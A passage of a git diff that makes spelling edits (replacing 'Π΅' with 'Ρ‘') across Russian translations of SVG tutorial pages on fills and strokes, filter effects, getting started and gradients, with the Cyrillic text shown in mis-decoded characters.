+<p>ΠŸΠ΅Ρ€Π²ΠΎΠ΅ число опрСдСляСт Π΄Π»ΠΈΠ½Ρƒ ΡˆΡ‚Ρ€ΠΈΡ…Π°, Π²Ρ‚ΠΎΡ€ΠΎΠ΅ - Π΄Π»ΠΈΠ½Ρƒ ΠΌΠ΅ΠΆΠ΄Ρƒ ΡˆΡ‚Ρ€ΠΈΡ…Π°ΠΌΠΈ. Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅, Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΡƒΡ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π΄ΡƒΠ΅Ρ‚ Π·Π°Π»ΠΈΠ²ΠΊΡƒ ΡˆΡ‚Ρ€ΠΈΡ…ΠΎΠΌ Π² 5 пиксСлСй, Π·Π°Ρ‚Π΅ΠΌ 5 пустых пиксСлСй ΠΏΠ΅Ρ€Π΅Π΄ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΡˆΡ‚Ρ€ΠΈΡ…ΠΎΠΌ Π² 5 пиксСлСй. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°Π΄Π°Ρ‚ΡŒ большС чисСл, Ссли Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π±ΠΎΠ»Π΅Π΅ ΡΠ»ΠΎΠΆΠ½ΡƒΡŽ систСму ΡˆΡ‚Ρ€ΠΈΡ…ΠΎΠ². Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π·Π°Π΄Π°Π½ΠΎ 3 числа ΠΈ Π² этом случаС Ρ€Π΅Π½Π΄Π΅Ρ€ Π±Π΅Ρ€Π΅Ρ‚ эти числа Π΄Π²Π°ΠΆΠ΄Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ‡Ρ‘Ρ‚Π½Ρ‹ΠΉ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½. Π’.ΠΎ. ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ отобраТаСтся 5 Π·Π°ΠΊΡ€Π°ΡˆΠ΅Π½Π½Ρ‹ΠΌΠΈ, 10 пустыми, 5 Π·Π°ΠΊΡ€Π°ΡˆΠ΅Π½Π½Ρ‹ΠΌΠΈ ΠΈ Π·Π°Ρ‚Π΅ΠΌ Π΅Ρ‰Ρ‘ Ρ€Π°Π· 5 пустыми, 10 Π·Π°ΠΊΡ€Π°ΡˆΠ΅Π½Π½Ρ‹ΠΌΠΈ, 5 пустыми "пиксСлями". Π—Π°Ρ‚Π΅ΠΌ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½ повторяСтся.</p>
<p>Π’Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ <strong>strokeΒ </strong>ΠΈ <strong>fill </strong>свойства:Β <code><a href="/en-US/docs/Web/SVG/Attribute/fill-rule">fill-rule</a>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ опрСдСляСт ΠΊΠ°ΠΊ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°Π»ΠΈΠ²Π°Ρ‚ΡŒΡΡ слоТныС Ρ„ΠΈΠ³ΡƒΡ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ пСрСсСчСния Π²Π½ΡƒΡ‚Ρ€ΠΈ сСбя;</code> <code><a href="/en-US/docs/Web/SVG/Attribute/stroke-miterlimit">stroke-miterlimit</a>, </code>which determines if a stroke should draw miters<code> ΠΈΒ </code><a href="/en-US/docs/Web/SVG/Attribute/stroke-dashoffset">stroke-dashoffset</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π³Π΄Π΅ начинаСтся dash-array Π² Π»ΠΈΠ½ΠΈΠΈ (позволяСт Π·Π°Π΄Π°Ρ‚ΡŒ смСщСниС ΠΏΡƒΠ½ΠΊΡ‚ΠΈΡ€Π½ΠΎΠΉ ΠΎΠ±Π²ΠΎΠ΄ΠΊΠΈ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ полоТСния)</p>
@@ -103,7 +103,7 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes
<pre class="brush:xml;"> &lt;rect x="10" height="180" y="10" width="180" style="stroke: black; fill: red;"/&gt;
</pre>
-<p>ΠΈΠ»ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ Π² ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΡƒΡŽ ΡΡ‚ΠΈΠ»Π΅Π²ΡƒΡŽ ΡΠ΅ΠΊΡ†ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅. ВмСсто отобраТСния Ρ‚Π°ΠΊΠΎΠΉ сСкции Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ <code>&lt;head&gt;, </code>ΠΊΠ°ΠΊ это дСлаСтся Π² HTML, ΠΎΠ½Π° Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Π·ΠΎΠ½Ρƒ <code>&lt;defs&gt;, </code>ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½ΡƒΡŽ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΉ. Π—Π΄Π΅ΡΡŒ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ появятся сами Π² SVG, Π½ΠΎ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ элСмСнтами.</p>
+<p>ΠΈΠ»ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ Π² ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΡƒΡŽ ΡΡ‚ΠΈΠ»Π΅Π²ΡƒΡŽ ΡΠ΅ΠΊΡ†ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅. ВмСсто отобраТСния Ρ‚Π°ΠΊΠΎΠΉ сСкции Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ <code>&lt;head&gt;, </code>ΠΊΠ°ΠΊ это дСлаСтся Π² HTML, ΠΎΠ½Π° Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Π·ΠΎΠ½Ρƒ <code>&lt;defs&gt;, </code>ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½ΡƒΡŽ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΉ. Π—Π΄Π΅ΡΡŒ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ появятся сами Π² SVG, Π½ΠΎ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ элСмСнтами.</p>
<pre class="brush:xml;">&lt;?xml version="1.0" standalone="no"?&gt;
&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
diff --git a/files/ru/web/svg/tutorial/filter_effects/index.html b/files/ru/web/svg/tutorial/filter_effects/index.html
index d063063795..13e8214c27 100644
--- a/files/ru/web/svg/tutorial/filter_effects/index.html
+++ b/files/ru/web/svg/tutorial/filter_effects/index.html
@@ -5,7 +5,7 @@ translation_of: Web/SVG/Tutorial/Filter_effects
---
<p>{{ PreviousNext("Web/SVG/Tutorial/Other_content_in_SVG", "Web/SVG/Tutorial/SVG_Fonts") }}</p>
-<p>Π‘Ρ‹Π²Π°ΡŽΡ‚ ситуации, ΠΏΡ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±Π°Π·ΠΎΠ²Ρ‹Π΅ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹ Π½Π΅ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ Π³ΠΈΠ±ΠΊΠΎΡΡ‚ΡŒ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡƒΡŽ для достиТСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ эффСкта. Π’Π΅Π½ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ созданы с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ΠΎΠ². Π€ΠΈΠ»ΡŒΡ‚Ρ€Ρ‹ - это ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ SVG для создания слоТных эффСктов.Β <br>
+<p>Π‘Ρ‹Π²Π°ΡŽΡ‚ ситуации, ΠΏΡ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±Π°Π·ΠΎΠ²Ρ‹Π΅ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹ Π½Π΅ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ Π³ΠΈΠ±ΠΊΠΎΡΡ‚ΡŒ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡƒΡŽ для достиТСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ эффСкта. Π’Π΅Π½ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ созданы с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ΠΎΠ². Π€ΠΈΠ»ΡŒΡ‚Ρ€Ρ‹ - это ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ SVG для создания слоТных эффСктов.Β <br>
<br>
ΠžΡΠ½ΠΎΠ²Π½Ρ‹ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡΠ»ΡƒΠΆΠΈΡ‚ΡŒ эффСкт размытия Π² SVG. Π‘Π°Π·ΠΎΠ²Ρ‹ΠΉ эффСкт размытия ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ достигнут с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ΠΎΠ², Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ размытия Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Π»ΠΈΠ±ΠΎ большСС.</p>
diff --git a/files/ru/web/svg/tutorial/getting_started/index.html b/files/ru/web/svg/tutorial/getting_started/index.html
index c50b5ba0ea..f42a01eda8 100644
--- a/files/ru/web/svg/tutorial/getting_started/index.html
+++ b/files/ru/web/svg/tutorial/getting_started/index.html
@@ -10,7 +10,7 @@ translation_of: Web/SVG/Tutorial/Getting_Started
<h3 id="A_Simple_Example" name="A_Simple_Example">ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</h3>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Π΅ΠΌ нашС ΠΏΠΎΠ³Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ с простого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°. ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Π½Π° ΠΊΠΎΠ΄, прСдставлСнный Π½ΠΈΠΆΠ΅:</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Ρ‘ΠΌ нашС ΠΏΠΎΠ³Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ с простого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°. ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Π½Π° ΠΊΠΎΠ΄, прСдставлСнный Π½ΠΈΠΆΠ΅:</p>
<pre class="brush: xml">&lt;svg version="1.1"
baseProfile="full"
@@ -38,12 +38,12 @@ translation_of: Web/SVG/Tutorial/Getting_Started
<ul>
<li>ΠΊΠ°ΠΊ извСстно ΠΈΠ· (X)HTML,Β Π΄Π΅ΠΊΠ»Π°Ρ€Π°Ρ†ΠΈΡŽ doctype слСдуСт ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ DTD Π½Π° основС Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ SVG ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ бо́льшим ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°ΠΌ, Ρ‡Π΅ΠΌ ΠΈΡ… Ρ€Π΅ΡˆΠ°Π΅Ρ‚</li>
<li>Π΄ΠΎ SVG 2, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡ΠΈΡ‚ΡŒΒ Π²Π΅Ρ€ΡΠΈΡŽΒ SVG для Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ‚ΠΈΠΏΠΎΠ² Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ, всСгда слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹Β <code>version</code> ΠΈΒ <code>baseProfile</code>. Но Π² SVG 2 ΠΎΠ±Π° эти Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β <code>version</code> ΠΈΒ <code>baseProfile</code>Β ΠΎΠ±Ρ€Π΅Π»ΠΈ статус Π½Π΅ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΠΎΠ²Π°Π½Π½Ρ‹Ρ…</li>
- <li>ΠΊΠ°ΠΊ Π΄ΠΈΠ°Π»Π΅ΠΊΡ‚ XML, SVG всСгда ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠ²ΡΠ·Ρ‹Π²Π°Ρ‚ΡŒ пространства ΠΈΠΌΠ΅Π½ (Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ xmlns). Π‘ΠΌΠΎΡ‚Ρ€ΠΈ страницу <a href="/en/docs/Web/SVG/Namespaces_Crash_Course" title="en-US/Web/SVG/Namespaces_Crash_Course">Namespaces Crash Course</a> для большСй ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</li>
+ <li>ΠΊΠ°ΠΊ Π΄ΠΈΠ°Π»Π΅ΠΊΡ‚ XML, SVG всСгда ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠ²ΡΠ·Ρ‹Π²Π°Ρ‚ΡŒ пространства ΠΈΠΌΡ‘Π½ (Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ xmlns). Π‘ΠΌΠΎΡ‚Ρ€ΠΈ страницу <a href="/en/docs/Web/SVG/Namespaces_Crash_Course" title="en-US/Web/SVG/Namespaces_Crash_Course">Namespaces Crash Course</a> для большСй ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</li>
</ul>
</li>
<li>Π€ΠΎΠ½ устанавливаСтся красным ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ рисования ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° <a href="/en-US/Web/SVG/Element/rect" title="en-US/Web/SVG/Element/rect"><code>&lt;rect/&gt;</code></a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ всю ΠΎΠ±Π»Π°ΡΡ‚ΡŒ изобраТСния</li>
- <li>Π—Π΅Π»Π΅Π½Ρ‹ΠΉ ΠΊΡ€ΡƒΠ³ <a href="/en-US/Web/SVG/Element/circle" title="en-US/Web/SVG/Element/circle"><code>&lt;circle/&gt;</code></a> с радиусом 80px рисуСтся ΠΏΠΎΠ²Π΅Ρ€Ρ… Ρ†Π΅Π½Ρ‚Ρ€Π° красного ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° (Ρ†Π΅Π½Ρ‚Ρ€ ΠΊΡ€ΡƒΠ³Π° смСщСн Π½Π° 150px Π²ΠΏΡ€Π°Π²ΠΎ, ΠΈ 100px Π²Π½ΠΈΠ·).</li>
- <li>ВСкст "SVG" рисуСтся. ВнутрСнняя Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π±ΡƒΠΊΠ²Ρ‹ наполняСтся Π±Π΅Π»Ρ‹ΠΌ. РасполоТСниС тСкста опрСдСляСтся привязкой, Π³Π΄Π΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Π»Π° сСрСдина: Π² этом случаС сСрСдина Π΄ΠΎΠ»ΠΆΠ½Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Ρ†Π΅Π½Ρ‚Ρ€Ρƒ Π·Π΅Π»Π΅Π½ΠΎΠ³ΠΎ ΠΊΡ€ΡƒΠ³Π°. Для ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ эстСтичСского Π²ΠΈΠ΄Π° ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚ΠΎΡ‡Π½Ρ‹Π΅ настройки Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ полоТСния.</li>
+ <li>Π—Π΅Π»Ρ‘Π½Ρ‹ΠΉ ΠΊΡ€ΡƒΠ³ <a href="/en-US/Web/SVG/Element/circle" title="en-US/Web/SVG/Element/circle"><code>&lt;circle/&gt;</code></a> с радиусом 80px рисуСтся ΠΏΠΎΠ²Π΅Ρ€Ρ… Ρ†Π΅Π½Ρ‚Ρ€Π° красного ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° (Ρ†Π΅Π½Ρ‚Ρ€ ΠΊΡ€ΡƒΠ³Π° смСщён Π½Π° 150px Π²ΠΏΡ€Π°Π²ΠΎ, ΠΈ 100px Π²Π½ΠΈΠ·).</li>
+ <li>ВСкст "SVG" рисуСтся. ВнутрСнняя Ρ‡Π°ΡΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π±ΡƒΠΊΠ²Ρ‹ наполняСтся Π±Π΅Π»Ρ‹ΠΌ. РасполоТСниС тСкста опрСдСляСтся привязкой, Π³Π΄Π΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Π»Π° сСрСдина: Π² этом случаС сСрСдина Π΄ΠΎΠ»ΠΆΠ½Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Ρ†Π΅Π½Ρ‚Ρ€Ρƒ Π·Π΅Π»Ρ‘Π½ΠΎΠ³ΠΎ ΠΊΡ€ΡƒΠ³Π°. Для ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ эстСтичСского Π²ΠΈΠ΄Π° ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚ΠΎΡ‡Π½Ρ‹Π΅ настройки Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ полоТСния.</li>
</ol>
<h3 id="ΠžΡΠ½ΠΎΠ²Π½Ρ‹Π΅_свойства_Ρ„Π°ΠΉΠ»ΠΎΠ²_SVG">ΠžΡΠ½ΠΎΠ²Π½Ρ‹Π΅ свойства Ρ„Π°ΠΉΠ»ΠΎΠ² SVG</h3>
diff --git a/files/ru/web/svg/tutorial/gradients/index.html b/files/ru/web/svg/tutorial/gradients/index.html
index 2e4ef085cf..45faea509a 100644
--- a/files/ru/web/svg/tutorial/gradients/index.html
+++ b/files/ru/web/svg/tutorial/gradients/index.html
@@ -42,7 +42,7 @@ translation_of: Web/SVG/Tutorial/Gradients
<p>{{ EmbedLiveSample('SVGLinearGradient','120','240','/files/722/SVG_Linear_Gradient_Example.png') }}</p>
-<p>Π’Ρ‹ΡˆΠ΅ находится ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠ³ΠΎ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ ΠΊ элСмСнту <code>&lt;rect&gt;. </code>Π’Π½ΡƒΡ‚Ρ€ΠΈ Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠ³ΠΎ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π° Π΅ΡΡ‚ΡŒ нСсколько {{SVGElement('stop')}} Π½ΠΎΠ΄.. Π­Ρ‚ΠΈ Π½ΠΎΠ΄Ρ‹ ΡΠΎΠΎΠ±Ρ‰Π°ΡŽΡ‚ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Ρƒ, ΠΊΠ°ΠΊΠΎΠΉ Ρ†Π²Π΅Ρ‚ ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² позициях, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ <code>offset </code>для ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ <code>stop-color. </code>Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π΄Π°Π½ΠΎ прямо Π² SVG ΠΈΠ»ΠΈ Ρ‡Π΅Ρ€Π΅Π· CSS. Π’ цСлях этого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΎΠ±Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Π±Ρ‹Π»ΠΈ ΡΠΌΠ΅ΡˆΠ°Π½Ρ‹. НапримСр, <em>Gradient1</em> начинаСтся с красного Ρ†Π²Π΅Ρ‚Π°, измСняСтся Π΄ΠΎ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎ-Ρ‡Π΅Ρ€Π½ΠΎΠ³ΠΎ Π² сСрСдинС ΠΈ заканчиваСтся синим Ρ†Π²Π΅Ρ‚ΠΎΠΌ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ стоп-Ρ†Π²Π΅Ρ‚ΠΎΠ², сколько Π½ΡƒΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ смСсь, которая Π±ΡƒΠ΄Π΅Ρ‚ красивой ΠΈΠ»ΠΈ уТасной, ΠΊΠ°ΠΊ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ. Π“Ρ€Π°Π½ΠΈΡ†Ρ‹ всСгда Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΎΡ‚ 0% (ΠΈΠ»ΠΈ ΠΎΡ‚ 0, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π·Π½Π°ΠΊ %) Π΄ΠΎ 100% (ΠΈΠ»ΠΈ 1). ΠŸΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΠ΅ΡΡ значСния Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ стоп, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ находится дальшС всСх ΠΏΠΎ XML-Π΄Π΅Ρ€Π΅Π²Ρƒ. Π’Π°ΠΊΠΆΠ΅, ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎ Π·Π°Π»ΠΈΠ²ΠΊΠ΅ ΠΈ ΠΎΠ±Π²ΠΎΠ΄ΠΊΠ΅, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>stop-opacity, </code>Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π΄Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ Π² этой ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ (ΠΎΠΏΡΡ‚ΡŒ ΠΆΠ΅, Π² FF3+ ΠΌΠΎΠΆΠ½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ rgba-значСния для этого).</p>
